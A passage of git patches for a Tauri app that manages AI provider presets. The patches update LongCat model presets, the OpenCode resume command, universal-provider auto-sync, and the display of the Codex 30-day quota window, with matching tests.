From 0cda8d46c7f74718c46c2ef47335bf1a8e50f7af Mon Sep 17 00:00:00 2001 From: makoMakoGo <48956204+makoMakoGo@users.noreply.github.com> Date: Thu, 2 Jul 2026 22:14:43 +0800 Subject: [PATCH 01/73] =?UTF-8?q?fix:=20=E6=9B=B4=E6=96=B0=20OpenCode=20?= =?UTF-8?q?=E4=BC=9A=E8=AF=9D=E6=81=A2=E5=A4=8D=E5=91=BD=E4=BB=A4=20(#2359?= =?UTF-8?q?)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src-tauri/src/session_manager/providers/opencode.rs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src-tauri/src/session_manager/providers/opencode.rs b/src-tauri/src/session_manager/providers/opencode.rs index 2cfad00f8..eee9b982d 100644 --- a/src-tauri/src/session_manager/providers/opencode.rs +++ b/src-tauri/src/session_manager/providers/opencode.rs @@ -149,7 +149,7 @@ fn scan_sessions_sqlite() -> Vec { created_at: Some(created), last_active_at: Some(updated), source_path: Some(format!("sqlite:{db_display}:{session_id}")), - resume_command: Some(format!("opencode session resume {session_id}")), + resume_command: Some(format!("opencode -s {session_id}")), }); } sessions @@ -473,7 +473,7 @@ fn parse_session(storage: &Path, path: &Path) -> Option { created_at, last_active_at: updated_at.or(created_at), source_path: Some(source_path), - resume_command: Some(format!("opencode session resume {session_id}")), + resume_command: Some(format!("opencode -s {session_id}")), }) } @@ -825,6 +825,10 @@ mod tests { sessions[1].source_path.as_deref(), Some(expected_source.as_str()) ); + assert_eq!( + sessions[1].resume_command.as_deref(), + Some("opencode -s ses_1") + ); } #[test] From 7a8b95625357c2fde93153c459b84378999f83dc Mon Sep 17 00:00:00 2001 From: Cheng Zi Feng <1154238323@qq.com> Date: Sat, 4 Jul 2026 16:38:35 +0800 Subject: [PATCH 02/73] Update Longcat presets to LongCat-2.0 (#4838) * Update Longcat presets to LongCat-2.0 * fix(proxy): classify LongCat-2.0 as text-only for media sanitizer The Longcat presets now use LongCat-2.0, but the known_text_only_model allowlist still only matched the retired longcat-flash-chat tail. Without this, images pasted into a text-only LongCat-2.0 session are forwarded upstream instead of being replaced with the unsupported-image marker, causing a hard rejection. Add longcat-2.0 (keeping the retired name for saved configs) and a regression test. --------- Co-authored-by: chengzifeng Co-authored-by: Jason --- src-tauri/src/codex_config.rs | 2 +- src-tauri/src/proxy/media_sanitizer.rs | 10 ++ src/config/claudeDesktopProviderPresets.ts | 6 +- src/config/claudeProviderPresets.ts | 11 +- src/config/codexProviderPresets.ts | 6 +- src/config/hermesProviderPresets.ts | 4 +- src/config/openclawProviderPresets.ts | 20 ++- src/config/opencodeProviderPresets.ts | 11 +- src/types.ts | 3 + tests/config/codexChatProviderPresets.test.ts | 2 +- tests/config/longcatProviderPresets.test.ts | 149 ++++++++++++++++++ 11 files changed, 195 insertions(+), 29 deletions(-) create mode 100644 tests/config/longcatProviderPresets.test.ts diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index 3b79035cd..c1da0e4c3 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -2610,7 +2610,7 @@ web_search = "disabled" for (model, host) in [ ("mimo-v2.5-pro", "https://api.xiaomimimo.com/v1"), ("mimo-v2.5", "https://token-plan-cn.xiaomimimo.com/v1"), - ("LongCat-2.0-Preview", "https://api.longcat.chat/openai/v1"), + ("LongCat-2.0", "https://api.longcat.chat/openai/v1"), ("MiniMax-M3", "https://api.minimax.io/v1"), ("MiniMax-M3", "https://api.minimaxi.com/v1"), ] { diff --git a/src-tauri/src/proxy/media_sanitizer.rs b/src-tauri/src/proxy/media_sanitizer.rs index ad30fd2fc..95b2aa305 100644 --- a/src-tauri/src/proxy/media_sanitizer.rs +++ b/src-tauri/src/proxy/media_sanitizer.rs @@ -257,6 +257,7 @@ fn known_text_only_model(model: &str) -> bool { "kat-coder-pro-v1", "kat-coder-pro-v2", "ling-2.5-1t", + "longcat-2.0", "longcat-flash-chat", "mimo-v2.5-pro", "us.deepseek.r1-v1", @@ -484,6 +485,15 @@ mod tests { ); } + #[test] + fn longcat_models_are_classified_text_only() { + // LongCat-2.0 (like the retired Flash Chat) is a text-only model; the + // preset ships it in mixed case, so the classifier must normalize first. + assert!(known_text_only_model("LongCat-2.0")); + assert!(known_text_only_model("longcat/LongCat-2.0")); + assert!(known_text_only_model("LongCat-Flash-Chat")); + } + #[test] fn explicit_text_modalities_replace_images_before_send() { let provider = provider(json!({ diff --git a/src/config/claudeDesktopProviderPresets.ts b/src/config/claudeDesktopProviderPresets.ts index 428ebc80b..9e8cb3f92 100644 --- a/src/config/claudeDesktopProviderPresets.ts +++ b/src/config/claudeDesktopProviderPresets.ts @@ -577,11 +577,7 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ baseUrl: "https://api.longcat.chat/anthropic", mode: "proxy", apiFormat: "anthropic", - modelRoutes: brandedRoutes( - "LongCat-Flash-Chat", - "LongCat-Flash-Chat", - "LongCat-Flash-Chat", - ), + modelRoutes: brandedRoutes("LongCat-2.0", "LongCat-2.0", "LongCat-2.0"), icon: "longcat", iconColor: "#29E154", }, diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 0df5f0d6a..6a8f73dc4 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -587,11 +587,12 @@ export const providerPresets: ProviderPreset[] = [ env: { ANTHROPIC_BASE_URL: "https://api.longcat.chat/anthropic", ANTHROPIC_AUTH_TOKEN: "", - ANTHROPIC_MODEL: "LongCat-Flash-Chat", - ANTHROPIC_DEFAULT_HAIKU_MODEL: "LongCat-Flash-Chat", - ANTHROPIC_DEFAULT_SONNET_MODEL: "LongCat-Flash-Chat", - ANTHROPIC_DEFAULT_OPUS_MODEL: "LongCat-Flash-Chat", - CLAUDE_CODE_MAX_OUTPUT_TOKENS: "6000", + ANTHROPIC_MODEL: "LongCat-2.0", + ANTHROPIC_SMALL_FAST_MODEL: "LongCat-2.0", + ANTHROPIC_DEFAULT_HAIKU_MODEL: "LongCat-2.0", + ANTHROPIC_DEFAULT_SONNET_MODEL: "LongCat-2.0", + ANTHROPIC_DEFAULT_OPUS_MODEL: "LongCat-2.0", + CLAUDE_CODE_MAX_OUTPUT_TOKENS: "131072", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: 1, }, }, diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index e03f8c76a..525fe6546 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -723,7 +723,7 @@ requires_openai_auth = true`, config: generateThirdPartyConfig( "longcat", "https://api.longcat.chat/openai/v1", - "LongCat-2.0-Preview", + "LongCat-2.0", ), endpointCandidates: ["https://api.longcat.chat/openai/v1"], // 美团 LongCat 官方 Codex 文档用 wire_api=responses 对自家 base_url,原生 Responses,无需路由接管转换 @@ -732,8 +732,8 @@ requires_openai_auth = true`, // 注:LongCat 的 /responses 工具类型契约文档化程度最低,建议真机冒烟一次 modelCatalog: modelCatalog([ { - model: "LongCat-2.0-Preview", - displayName: "LongCat 2.0 Preview", + model: "LongCat-2.0", + displayName: "LongCat 2.0", contextWindow: 1048576, }, ]), diff --git a/src/config/hermesProviderPresets.ts b/src/config/hermesProviderPresets.ts index a08c2d456..328eea3a6 100644 --- a/src/config/hermesProviderPresets.ts +++ b/src/config/hermesProviderPresets.ts @@ -779,13 +779,13 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ base_url: "https://api.longcat.chat/openai/v1", api_key: "", api_mode: "chat_completions", - models: [{ id: "LongCat-Flash-Chat", name: "LongCat Flash Chat" }], + models: [{ id: "LongCat-2.0", name: "LongCat 2.0" }], }, category: "cn_official", icon: "longcat", iconColor: "#29E154", suggestedDefaults: { - model: { default: "LongCat-Flash-Chat", provider: "longcat" }, + model: { default: "LongCat-2.0", provider: "longcat" }, }, }, { diff --git a/src/config/openclawProviderPresets.ts b/src/config/openclawProviderPresets.ts index fabc7c6e1..cf737b542 100644 --- a/src/config/openclawProviderPresets.ts +++ b/src/config/openclawProviderPresets.ts @@ -1068,15 +1068,19 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ websiteUrl: "https://longcat.chat/platform", apiKeyUrl: "https://longcat.chat/platform/api_keys", settingsConfig: { - baseUrl: "https://api.longcat.chat/v1", + baseUrl: "https://api.longcat.chat/openai/v1", apiKey: "", api: "openai-completions", authHeader: true, models: [ { - id: "LongCat-Flash-Chat", - name: "LongCat Flash Chat", - contextWindow: 128000, + id: "LongCat-2.0", + name: "LongCat 2.0", + reasoning: false, + input: ["text"], + contextWindow: 1048576, + maxTokens: 131072, + compat: { maxTokensField: "max_tokens" }, cost: { input: 0.001, output: 0.004 }, }, ], @@ -1087,8 +1091,8 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ templateValues: { baseUrl: { label: "Base URL", - placeholder: "https://api.longcat.chat/v1", - defaultValue: "https://api.longcat.chat/v1", + placeholder: "https://api.longcat.chat/openai/v1", + defaultValue: "https://api.longcat.chat/openai/v1", editorValue: "", }, apiKey: { @@ -1098,8 +1102,8 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, }, suggestedDefaults: { - model: { primary: "longcat/LongCat-Flash-Chat" }, - modelCatalog: { "longcat/LongCat-Flash-Chat": { alias: "LongCat" } }, + model: { primary: "longcat/LongCat-2.0" }, + modelCatalog: { "longcat/LongCat-2.0": { alias: "LongCat" } }, }, }, { diff --git a/src/config/opencodeProviderPresets.ts b/src/config/opencodeProviderPresets.ts index eee461f58..336e7380d 100644 --- a/src/config/opencodeProviderPresets.ts +++ b/src/config/opencodeProviderPresets.ts @@ -1054,12 +1054,15 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ npm: "@ai-sdk/openai-compatible", name: "Longcat", options: { - baseURL: "https://api.longcat.chat/v1", + baseURL: "https://api.longcat.chat/openai/v1", apiKey: "", setCacheKey: true, }, models: { - "LongCat-Flash-Chat": { name: "LongCat Flash Chat" }, + "LongCat-2.0": { + name: "LongCat 2.0", + options: { thinking: { type: "disabled" } }, + }, }, }, category: "cn_official", @@ -1068,8 +1071,8 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ templateValues: { baseURL: { label: "Base URL", - placeholder: "https://api.longcat.chat/v1", - defaultValue: "https://api.longcat.chat/v1", + placeholder: "https://api.longcat.chat/openai/v1", + defaultValue: "https://api.longcat.chat/openai/v1", editorValue: "", }, apiKey: { diff --git a/src/types.ts b/src/types.ts index 7bbeceeeb..ecc1e524b 100644 --- a/src/types.ts +++ b/src/types.ts @@ -645,6 +645,9 @@ export interface OpenClawModel { }; contextWindow?: number; maxTokens?: number; // 最大输出 token 数 + compat?: { + maxTokensField?: string; // 最大输出 token 请求字段名(如 "max_tokens") + }; } // OpenClaw 默认模型配置(agents.defaults.model) diff --git a/tests/config/codexChatProviderPresets.test.ts b/tests/config/codexChatProviderPresets.test.ts index 1dae7a2d1..a4499e551 100644 --- a/tests/config/codexChatProviderPresets.test.ts +++ b/tests/config/codexChatProviderPresets.test.ts @@ -163,7 +163,7 @@ describe("Codex Chat provider presets", () => { { contextWindows: { "doubao-seed-2-1-pro-260628": 262144 } }, ], ["Bailian", { contextWindows: { "qwen3-coder-plus": 1048576 } }], - ["Longcat", { contextWindows: { "LongCat-2.0-Preview": 1048576 } }], + ["Longcat", { contextWindows: { "LongCat-2.0": 1048576 } }], ["MiniMax", { contextWindows: { "MiniMax-M3": 1000000 } }], ["MiniMax en", { contextWindows: { "MiniMax-M3": 1000000 } }], [ diff --git a/tests/config/longcatProviderPresets.test.ts b/tests/config/longcatProviderPresets.test.ts new file mode 100644 index 000000000..1dbed39b7 --- /dev/null +++ b/tests/config/longcatProviderPresets.test.ts @@ -0,0 +1,149 @@ +import { describe, expect, it } from "vitest"; +import { claudeDesktopProviderPresets } from "@/config/claudeDesktopProviderPresets"; +import { providerPresets } from "@/config/claudeProviderPresets"; +import { codexProviderPresets } from "@/config/codexProviderPresets"; +import { hermesProviderPresets } from "@/config/hermesProviderPresets"; +import { openclawProviderPresets } from "@/config/openclawProviderPresets"; +import { opencodeProviderPresets } from "@/config/opencodeProviderPresets"; + +const LONGCAT_MODEL = "LongCat-2.0"; +const LONGCAT_DISPLAY_NAME = "LongCat 2.0"; +const LONGCAT_OPENAI_BASE_URL = "https://api.longcat.chat/openai/v1"; +const LONGCAT_BRAND = "LongCat"; +const FLASH_VARIANT = "Flash"; +const CHAT_SUFFIX = "Chat"; +const REMOVED_LONGCAT_NAMES = [ + `${LONGCAT_BRAND}-${FLASH_VARIANT}-${CHAT_SUFFIX}`, + `${LONGCAT_BRAND} ${FLASH_VARIANT} ${CHAT_SUFFIX}`, + `${LONGCAT_MODEL}-Preview`, + `${LONGCAT_DISPLAY_NAME} Preview`, +]; + +function findLongcatPreset(presets: T[]): T { + const preset = presets.find((item) => item.name === "Longcat"); + + expect(preset).toBeDefined(); + return preset!; +} + +describe("Longcat provider presets", () => { + it("uses the official LongCat 2.0 model for Claude Code", () => { + const preset = findLongcatPreset(providerPresets); + const env = (preset.settingsConfig as { env: Record }).env; + + expect(env).toMatchObject({ + ANTHROPIC_MODEL: LONGCAT_MODEL, + ANTHROPIC_SMALL_FAST_MODEL: LONGCAT_MODEL, + ANTHROPIC_DEFAULT_HAIKU_MODEL: LONGCAT_MODEL, + ANTHROPIC_DEFAULT_SONNET_MODEL: LONGCAT_MODEL, + ANTHROPIC_DEFAULT_OPUS_MODEL: LONGCAT_MODEL, + CLAUDE_CODE_MAX_OUTPUT_TOKENS: "131072", + }); + }); + + it("uses the official LongCat 2.0 model for Claude Desktop routes", () => { + const preset = findLongcatPreset(claudeDesktopProviderPresets); + + expect( + preset.modelRoutes?.map((route) => ({ + upstreamModel: route.upstreamModel, + labelOverride: route.labelOverride, + })), + ).toEqual([ + { + upstreamModel: LONGCAT_MODEL, + labelOverride: LONGCAT_MODEL, + }, + ]); + }); + + it("uses the official LongCat 2.0 model for Hermes", () => { + const preset = findLongcatPreset(hermesProviderPresets); + + expect(preset.settingsConfig.models).toEqual([ + { id: LONGCAT_MODEL, name: LONGCAT_DISPLAY_NAME }, + ]); + expect(preset.suggestedDefaults?.model).toEqual({ + default: LONGCAT_MODEL, + provider: "longcat", + }); + }); + + it("uses the official LongCat 2.0 model for OpenCode", () => { + const preset = findLongcatPreset(opencodeProviderPresets); + + expect(preset.settingsConfig.options?.baseURL).toBe( + LONGCAT_OPENAI_BASE_URL, + ); + expect(preset.templateValues?.baseURL.defaultValue).toBe( + LONGCAT_OPENAI_BASE_URL, + ); + expect(preset.templateValues?.baseURL.placeholder).toBe( + LONGCAT_OPENAI_BASE_URL, + ); + expect(preset.settingsConfig.models).toEqual({ + [LONGCAT_MODEL]: { + name: LONGCAT_DISPLAY_NAME, + options: { thinking: { type: "disabled" } }, + }, + }); + }); + + it("uses the official LongCat 2.0 model for OpenClaw", () => { + const preset = findLongcatPreset(openclawProviderPresets); + + expect(preset.settingsConfig.baseUrl).toBe(LONGCAT_OPENAI_BASE_URL); + expect(preset.templateValues?.baseUrl.defaultValue).toBe( + LONGCAT_OPENAI_BASE_URL, + ); + expect(preset.templateValues?.baseUrl.placeholder).toBe( + LONGCAT_OPENAI_BASE_URL, + ); + expect(preset.settingsConfig.models).toEqual([ + expect.objectContaining({ + id: LONGCAT_MODEL, + name: LONGCAT_DISPLAY_NAME, + reasoning: false, + input: ["text"], + contextWindow: 1048576, + maxTokens: 131072, + compat: { maxTokensField: "max_tokens" }, + }), + ]); + expect(preset.suggestedDefaults?.model).toEqual({ + primary: `longcat/${LONGCAT_MODEL}`, + }); + expect(preset.suggestedDefaults?.modelCatalog).toEqual({ + [`longcat/${LONGCAT_MODEL}`]: { alias: "LongCat" }, + }); + }); + + it("uses the official LongCat 2.0 model for Codex", () => { + const preset = findLongcatPreset(codexProviderPresets); + + expect(preset.config).toContain(`model = "${LONGCAT_MODEL}"`); + expect(preset.modelCatalog).toEqual([ + expect.objectContaining({ + model: LONGCAT_MODEL, + displayName: LONGCAT_DISPLAY_NAME, + contextWindow: 1048576, + }), + ]); + }); + + it("does not keep retired or preview Longcat model names", () => { + const longcatPresets = [ + findLongcatPreset(providerPresets), + findLongcatPreset(claudeDesktopProviderPresets), + findLongcatPreset(hermesProviderPresets), + findLongcatPreset(opencodeProviderPresets), + findLongcatPreset(openclawProviderPresets), + findLongcatPreset(codexProviderPresets), + ]; + const serializedPresets = JSON.stringify(longcatPresets); + + for (const removedName of REMOVED_LONGCAT_NAMES) { + expect(serializedPresets).not.toContain(removedName); + } + }); +}); From ffc22ea7144b4fcb80afeec3baad11fc138d1ff5 Mon Sep 17 00:00:00 2001 From: Butui Hu Date: Sun, 5 Jul 2026 22:41:05 +0800 Subject: [PATCH 03/73] feat(universal-provider): Auto-sync after adding and drop unused addSuccess i18n key (#2811) * feat(universal-provider): Auto-sync after adding and drop unused addSuccess i18n key Signed-off-by: Hu Butui * fix(i18n): sync zh-TW universal provider strings --------- Signed-off-by: Hu Butui Co-authored-by: Jason --- .../providers/AddProviderDialog.tsx | 32 ++++++++++++++----- src/i18n/locales/en.json | 2 +- src/i18n/locales/ja.json | 2 +- src/i18n/locales/zh-TW.json | 2 +- src/i18n/locales/zh.json | 2 +- 5 files changed, 28 insertions(+), 12 deletions(-) diff --git a/src/components/providers/AddProviderDialog.tsx b/src/components/providers/AddProviderDialog.tsx index b1eef9bd8..179f71cd2 100644 --- a/src/components/providers/AddProviderDialog.tsx +++ b/src/components/providers/AddProviderDialog.tsx @@ -60,14 +60,6 @@ export function AddProviderDialog({ async (provider: UniversalProvider) => { try { await universalProvidersApi.upsert(provider); - toast.success( - t("universalProvider.addSuccess", { - defaultValue: "统一供应商添加成功", - }), - ); - setUniversalFormOpen(false); - setSelectedUniversalPreset(null); - onOpenChange(false); } catch (error) { console.error( "[AddProviderDialog] Failed to save universal provider", @@ -78,7 +70,31 @@ export function AddProviderDialog({ defaultValue: "统一供应商添加失败", }), ); + return; } + + try { + await universalProvidersApi.sync(provider.id); + toast.success( + t("universalProvider.addedAndSynced", { + defaultValue: "统一供应商已添加并同步", + }), + ); + } catch (error) { + console.error( + "[AddProviderDialog] Provider saved but sync failed", + error, + ); + toast.warning( + t("universalProvider.addedButSyncFailed", { + defaultValue: "统一供应商已添加,但同步失败", + }), + ); + } + + setUniversalFormOpen(false); + setSelectedUniversalPreset(null); + onOpenChange(false); }, [t, onOpenChange], ); diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index fcad23b3f..f6d011efd 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -2688,9 +2688,9 @@ "noAppsEnabled": "No apps enabled", "added": "Universal provider added", "addedAndSynced": "Universal provider added and synced", + "addedButSyncFailed": "Universal provider added, but sync failed", "updated": "Universal provider updated", "deleted": "Universal provider deleted", - "addSuccess": "Universal provider added successfully", "addFailed": "Failed to add universal provider", "hint": "Cross-app unified config, auto-sync to Claude/Codex/Gemini", "manage": "Manage", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 46c3b51fc..cee1c1f85 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -2688,9 +2688,9 @@ "noAppsEnabled": "有効なアプリがありません", "added": "統合プロバイダーを追加しました", "addedAndSynced": "統合プロバイダーを追加して同期しました", + "addedButSyncFailed": "統合プロバイダーを追加しましたが、同期に失敗しました", "updated": "統合プロバイダーを更新しました", "deleted": "統合プロバイダーを削除しました", - "addSuccess": "統合プロバイダーを追加しました", "addFailed": "統合プロバイダーの追加に失敗しました", "hint": "クロスアプリ統合設定。Claude/Codex/Gemini に自動同期します", "manage": "管理", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index feaddbbb0..db85f5027 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -2660,9 +2660,9 @@ "noAppsEnabled": "未啟用任何應用程式", "added": "通用供應商已新增", "addedAndSynced": "通用供應商已新增並同步", + "addedButSyncFailed": "通用供應商已新增,但同步失敗", "updated": "通用供應商已更新", "deleted": "通用供應商已刪除", - "addSuccess": "通用供應商新增成功", "addFailed": "通用供應商新增失敗", "hint": "跨應用程式通用設定,自動同步至 Claude/Codex/Gemini", "manage": "管理", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index c58366488..7e254de70 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -2688,9 +2688,9 @@ "noAppsEnabled": "未启用任何应用", "added": "统一供应商已添加", "addedAndSynced": "统一供应商已添加并同步", + "addedButSyncFailed": "统一供应商已添加,但同步失败", "updated": "统一供应商已更新", "deleted": "统一供应商已删除", - "addSuccess": "统一供应商添加成功", "addFailed": "统一供应商添加失败", "hint": "跨应用统一配置,自动同步到 Claude/Codex/Gemini", "manage": "管理", From 7a7d41c873c1efe32d9caf4733f44c57d3a07fee Mon Sep 17 00:00:00 2001 From: SaladDay Date: Sun, 5 Jul 2026 10:54:20 -0400 Subject: [PATCH 04/73] fix(subscription): display Codex free-plan 30-day quota window (#3651) (#4886) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(subscription): display Codex free-plan 30-day quota window (#3651) Codex free accounts are metered on a rolling 30-day secondary window (limit_window_seconds = 2,592,000) instead of the weekly window used by paid plans. The backend already maps this correctly to the tier name "30_day", but the frontend TIER_I18N_KEYS whitelist had no entry for it, so SubscriptionQuotaView filtered the tier out. When that was the only surviving tier (as happens for free accounts), the whole quota footer rendered nothing — free accounts showed no remaining quota or reset time while paid accounts worked. - Add "30_day" -> subscription.thirtyDay to TIER_I18N_KEYS - Add the thirtyDay label to all four locales (zh/en/ja/zh-TW) - Add a unit test locking in window_seconds_to_tier_name mappings, including the 30-day case Fixes #3651 * fix(tray): render Codex free-plan 30-day window in tray menu The tray keeps its own tier-name whitelist (TIER_LABEL_GROUPS) independent of the frontend TIER_I18N_KEYS. Its month group only listed "monthly", so a free Codex account whose only tier is "30_day" produced empty labeled parts → format_subscription_summary returned None → the tray showed no quota, even though the footer now does. That breaks the invariant the existing gemini_summary_lite_only_still_renders test guards: any tier visible in the footer must not leave the tray blank. - Add TIER_THIRTY_DAY ("30_day") constant so the string is single-sourced across backend mapping, tray grouping, and the frontend whitelist - Map 2_592_000s explicitly to it in window_seconds_to_tier_name - Add TIER_THIRTY_DAY to the tray month ("m") group - Add codex_summary_thirty_day_only_still_renders regression test Follow-up to the review on #3651 / PR for the 30-day footer fix. --- src-tauri/src/services/subscription.rs | 32 ++++++++++++++++++++-- src-tauri/src/tray.rs | 21 ++++++++++++-- src/components/SubscriptionQuotaFooter.tsx | 2 ++ src/i18n/locales/en.json | 1 + src/i18n/locales/ja.json | 1 + src/i18n/locales/zh-TW.json | 1 + src/i18n/locales/zh.json | 1 + 7 files changed, 54 insertions(+), 5 deletions(-) diff --git a/src-tauri/src/services/subscription.rs b/src-tauri/src/services/subscription.rs index 5528455e6..dfe8d0a0e 100644 --- a/src-tauri/src/services/subscription.rs +++ b/src-tauri/src/services/subscription.rs @@ -312,6 +312,12 @@ pub const TIER_WEEKLY_LIMIT: &str = "weekly_limit"; /// 映射到 `subscription.monthly`。 pub const TIER_MONTHLY: &str = "monthly"; +/// Codex 免费方案的 30 天(月)滚动窗口 tier 名。付费方案的次要窗口是 7 天 +/// (`seven_day`),免费方案则是 30 天。由 `window_seconds_to_tier_name` 产出、 +/// tray 的月分组渲染、前端 `TIER_I18N_KEYS` 映射到 `subscription.thirtyDay` +/// 三处共用同一标识。见 #3651。 +pub const TIER_THIRTY_DAY: &str = "30_day"; + /// Gemini 用量分组名称(按模型而非时间窗口)。`classify_gemini_model` 输出。 pub const TIER_GEMINI_PRO: &str = "gemini_pro"; pub const TIER_GEMINI_FLASH: &str = "gemini_flash"; @@ -632,8 +638,12 @@ struct CodexUsageResponse { /// 根据窗口秒数映射到 tier 名称(与 Claude 的命名兼容以复用前端 i18n) fn window_seconds_to_tier_name(secs: i64) -> String { match secs { - 18000 => "five_hour".to_string(), - 604800 => "seven_day".to_string(), + 18000 => TIER_FIVE_HOUR.to_string(), + 604800 => TIER_SEVEN_DAY.to_string(), + // Codex 免费方案的 30 天窗口。显式映射到常量,与 tray 月分组、前端 + // TIER_I18N_KEYS 保持同一标识(否则动态回退虽也得到 "30_day",但字符串 + // 分散在多处、易和托盘/前端白名单脱节)。见 #3651。 + 2_592_000 => TIER_THIRTY_DAY.to_string(), s => { let hours = s / 3600; if hours >= 24 { @@ -1340,3 +1350,21 @@ fn now_millis() -> i64 { .unwrap_or_default() .as_millis() as i64 } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn window_seconds_map_to_expected_tier_names() { + // 官方特例窗口 + assert_eq!(window_seconds_to_tier_name(18000), TIER_FIVE_HOUR); + assert_eq!(window_seconds_to_tier_name(604800), TIER_SEVEN_DAY); + // Codex 免费方案的次要窗口是 30 天(30 * 24 * 3600 = 2_592_000 秒)。 + // 前端 TIER_I18N_KEYS 与 tray 月分组都需要认得 "30_day",见 #3651。 + assert_eq!(window_seconds_to_tier_name(2_592_000), TIER_THIRTY_DAY); + // 其他窗口按小时/天回退命名 + assert_eq!(window_seconds_to_tier_name(3600), "1_hour"); + assert_eq!(window_seconds_to_tier_name(86400), "1_day"); + } +} diff --git a/src-tauri/src/tray.rs b/src-tauri/src/tray.rs index ea614838a..0b159ae67 100644 --- a/src-tauri/src/tray.rs +++ b/src-tauri/src/tray.rs @@ -19,8 +19,13 @@ const W_TIER_NAMES: &[&str] = &[ crate::services::subscription::TIER_SEVEN_DAY_OPUS, crate::services::subscription::TIER_SEVEN_DAY_SONNET, ]; -// 火山方舟 Agent/Coding Plan 的月窗口(5h/周/月 三档)。 -const M_TIER_NAMES: &[&str] = &[crate::services::subscription::TIER_MONTHLY]; +// 月窗口分组:火山方舟 Agent/Coding Plan 的月窗口(5h/周/月 三档), +// 以及 Codex 免费方案的 30 天窗口(#3651)——两者都归入 "m" 档,避免免费 +// Codex 账号在托盘里空白(前端 footer 能看到、托盘却不显示的不对称)。 +const M_TIER_NAMES: &[&str] = &[ + crate::services::subscription::TIER_MONTHLY, + crate::services::subscription::TIER_THIRTY_DAY, +]; const GEMINI_PRO_TIER_NAMES: &[&str] = &[crate::services::subscription::TIER_GEMINI_PRO]; const GEMINI_FLASH_TIER_NAMES: &[&str] = &[crate::services::subscription::TIER_GEMINI_FLASH]; const GEMINI_FLASH_LITE_TIER_NAMES: &[&str] = @@ -882,7 +887,7 @@ mod tests { use crate::services::subscription::{ CredentialStatus, QuotaTier, SubscriptionQuota, TIER_FIVE_HOUR, TIER_GEMINI_FLASH, TIER_GEMINI_FLASH_LITE, TIER_GEMINI_PRO, TIER_MONTHLY, TIER_SEVEN_DAY, TIER_SEVEN_DAY_OPUS, - TIER_SEVEN_DAY_SONNET, TIER_WEEKLY_LIMIT, + TIER_SEVEN_DAY_SONNET, TIER_THIRTY_DAY, TIER_WEEKLY_LIMIT, }; #[test] @@ -964,6 +969,16 @@ mod tests { assert!(s.contains("l80%"), "expected l80% in {s}"); } + #[test] + fn codex_summary_thirty_day_only_still_renders() { + // Codex 免费方案的唯一 tier 是 30 天窗口。前端 footer 已能显示(TIER_I18N_KEYS + // 有 "30_day"),托盘也必须能显示——否则就是这条不变量要防的非对称:footer + // 能看到、托盘却空白。30_day 归入 "m" 月分组。见 #3651。 + let quota = make_quota("codex", true, vec![tier(TIER_THIRTY_DAY, 85.0)]); + let s = format_subscription_summary("a).expect("should format"); + assert!(s.contains("m85%"), "expected m85% in {s}"); + } + #[test] fn gemini_summary_emoji_reflects_highest_tier_including_lite() { // lite 是利用率最高的那条 → emoji 必须是红色,不能被 pro/flash 掩盖。 diff --git a/src/components/SubscriptionQuotaFooter.tsx b/src/components/SubscriptionQuotaFooter.tsx index 7d46bc376..e5ce8ecaf 100644 --- a/src/components/SubscriptionQuotaFooter.tsx +++ b/src/components/SubscriptionQuotaFooter.tsx @@ -27,6 +27,8 @@ export const TIER_I18N_KEYS: Record = { seven_day: "subscription.sevenDay", seven_day_opus: "subscription.sevenDayOpus", seven_day_sonnet: "subscription.sevenDaySonnet", + // Codex 免费方案的次要窗口是 30 天(付费方案为 7 天) + "30_day": "subscription.thirtyDay", // Gemini 模型分类 gemini_pro: "subscription.geminiPro", gemini_flash: "subscription.geminiFlash", diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index f6d011efd..debf8bb5e 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -2903,6 +2903,7 @@ "sevenDay": "7-Day", "sevenDayOpus": "7-Day (Opus)", "sevenDaySonnet": "7-Day (Sonnet)", + "thirtyDay": "30-Day", "geminiPro": "Pro", "geminiFlash": "Flash", "geminiFlashLite": "Flash Lite", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index cee1c1f85..124005185 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -2903,6 +2903,7 @@ "sevenDay": "7日間", "sevenDayOpus": "7日間(Opus)", "sevenDaySonnet": "7日間(Sonnet)", + "thirtyDay": "30日間", "geminiPro": "Pro", "geminiFlash": "Flash", "geminiFlashLite": "Flash Lite", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index db85f5027..0e6650b92 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -2875,6 +2875,7 @@ "sevenDay": "7 天", 